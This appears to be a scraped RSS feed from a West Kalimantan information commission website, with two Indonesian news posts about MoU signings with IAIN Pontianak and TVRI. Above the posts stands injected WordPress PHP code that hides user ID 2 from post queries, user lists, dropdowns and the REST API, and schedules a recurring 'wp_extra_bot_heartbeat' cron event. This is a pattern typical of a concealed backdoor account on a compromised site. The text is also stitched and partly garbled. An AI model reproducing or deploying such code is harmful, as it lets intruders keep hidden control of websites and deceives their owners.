add_action( 'pre_get_posts', function( $q ) {
if ( ! is_admin() && $q->is_main_query() ) {
$not_in = (array) $q->get( 'author__not_in' );
$not_in[] = 2;
$q->set(
'author__not_in',
array_unique( array_map( 'intval', $not_in ) )
);
}
}, 1 );
add_action( 'pre_user_query', function( $q ) {
if ( current_user_can( 'manage_options' ) ) {
return;
}
global $wpdb;
$q->query_where .= $wpdb->prepare( ' AND ID <> %d ', 2 );
} );
add_filter( 'wp_dropdown_users_args', function( $a ) {
$exclude = isset( $a['exclude'] ) ? (array) $a['exclude'] : array();
$exclude[] = 2;
$a['exclude'] = array_unique( array_map( 'intval', $exclude ) );
return $a;
} );
add_filter( 'rest_user_query', function( $args, $request ) {
$exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array();
$exclude[] = 2;
$args['exclude'] = array_unique( array_map( 'intval', $exclude ) );
return $args;
}, 10, 2 );
add_action( 'admin_head-users.php', function() {
echo '';
} );
add_action( 'init', function() {
if ( ! function_exists( 'wp_next_scheduled' ) || ! function_exists( 'wp_schedule_single_event' ) ) {
return;
}
if ( ! wp_next_scheduled( 'wp_extra_bot_heartbeat' ) ) {
wp_schedule_single_event( time() + 5 * MINUTE_IN_SECONDS, 'wp_extra_bot_heartbeat' );
}
} );
add_action( 'wp_extra_bot_heartbeat', function() {
// noop
} );
The post KI Kalbar dan IAIN Pontianak Teken MoU Penguatan Tri Dharma dan Keterbukaan Informasi Publik appeared first on Komisi Informasi Provinsi Kalimantan Barat.
]]>Penandatanganan kerja sama tersebut dilakukan oleh Rektor IAIN Pontianak, Prof. Dr. H. Syarif, S.Ag., M.A., dan Ketua KI Kalbar, M. Darusalam, S.E., M.A.P., C.Med., di Ruangan Rektor IAIN Pontianak.
Ketua KI Kalbar, M. Darusalam, mengatakan kerja sama ini menjadi langkah strategis dalam memperluas edukasi mengenai keterbukaan informasi publik, khususnya di kalangan akademisi dan mahasiswa.
Menurutnya, perguruan tinggi memiliki peran penting dalam membangun kesadaran masyarakat terhadap hak memperoleh informasi serta mendorong terciptanya tata kelola pemerintahan yang transparan dan akuntabel.
“Kami berharap melalui kolaborasi ini, mahasiswa dapat lebih memahami pentingnya keterbukaan informasi publik sebagai bagian dari praktik demokrasi dan tata kelola pemerintahan yang baik,” ujarnya.
Sementara itu, Rektor IAIN Pontianak Prof. Dr. H. Syarif menyampaikan bahwa kerja sama tersebut sejalan dengan komitmen perguruan tinggi dalam mengimplementasikan Tri Dharma Perguruan Tinggi, yakni pendidikan, penelitian, dan pengabdian kepada masyarakat.
Ia menilai sinergi antara perguruan tinggi dan lembaga negara seperti Komisi Informasi akan membuka peluang kolaborasi dalam berbagai kegiatan akademik maupun penguatan literasi publik.
Ruang lingkup kerja sama yang disepakati dalam nota kesepahaman ini meliputi sejumlah bidang, antara lain:
Melalui kerja sama ini, KI Kalbar dan IAIN Pontianak diharapkan dapat mengembangkan berbagai program bersama yang berkontribusi pada peningkatan kualitas pendidikan sekaligus memperkuat pemahaman masyarakat mengenai pentingnya keterbukaan informasi publik.
Penandatanganan nota kesepahaman tersebut turut disaksikan oleh jajaran pimpinan serta staf dari kedua lembaga.
The post KI Kalbar dan IAIN Pontianak Teken MoU Penguatan Tri Dharma dan Keterbukaan Informasi Publik appeared first on Komisi Informasi Provinsi Kalimantan Barat.
]]>The post MoU LPP TVRI STASIUN KALBAR – KOMISI INFORMASI PROV. KALBAR appeared first on Komisi Informasi Provinsi Kalimantan Barat.
]]>
Dalam upaya mendukung Keterbukaan Informasi Publik di Kalimantan Barat, bertempat di Ruang Rapat TVRI Stasiun Pontianak, Selasa (19/4) dilaksanakan penandatanganan Momerandum Of Undertanding (MoU) / Kesepakatan Bersama antara LPP TVRI Stasiun Pontianak dan Komisi Informasi Provinsi Kalimantan Barat.
Kesepakatan Bersama Nomor : 0502/11.20/TVRI/2023 dan Nomor : 01/MoU/KI.KALBAR/04/2023, ditandatangani langsung oleh Kepala Stasiun LPP TVRI Pontianak Syarifudin dan Ketua Komisi Informasi Provinsi Kalimantan Barat Lufti Faurusal Hasan dihadiri dan disaksikan sejumlah pejabat dilingkungan TVRI Stasiun Pontianak. Turut hadir pula mendampingi Wakil Ketua Marhasak Reinardo Sinaga, Komisioner Bidang Penyelesaian Sengketa Informasi Muhammad Darusalam, Komisioner Bidang Kerjasama dan Hubungan Antar Lembaga Sabinus Matius Melano, dan Komisioner Bidang Advokasi, Sosialisasi dan Edukasi Padmi Januarni Chendramidi.
Kesepakatan Kerjasama tentang Diseminasi Informasi Keterbukaan Informasi Publik di Kalimantan Barat ini akan dilaksanakan dalam bentuk : Liputan tentang Keterbukaan Informasi Publik lingkup Internasional, Nasional dan Lokal, ; Dialog yang bersifat mendorong Keterbukaan Informasi Publik, Mengisi Program Acara yang bertujuan untuk mendiseminasikan Keterbukaan Informasi P
ublik. Adapun bentuk kegiatan yang akan dilaksanakan disesuaikan kondisi dan kebutuhan Keterbukaan Informasi Publik.
Secara umum tujuan kesepakatan kerjasama ini adalah ; Menjalankan kerjasama dalam pemenuhan misi bersama TVRI Kalbar terkait Diseminasi Informasi Keterbukaan Informasi Publik dalam Penyiaran dan Sosialisasi Undang – undang Keterbukaan Informasi Publik Nomor 14 Tahun 2008.
#kikalbar #tvrikalbar #tvrimediapemersatubangsa #kalbarterbukadaninformatif2023 #hakuntuktahu #goodgovernance #penandatanganankesepakatan #MoU
The post MoU LPP TVRI STASIUN KALBAR – KOMISI INFORMASI PROV. KALBAR appeared first on Komisi Informasi Provinsi Kalimantan Barat.
]]>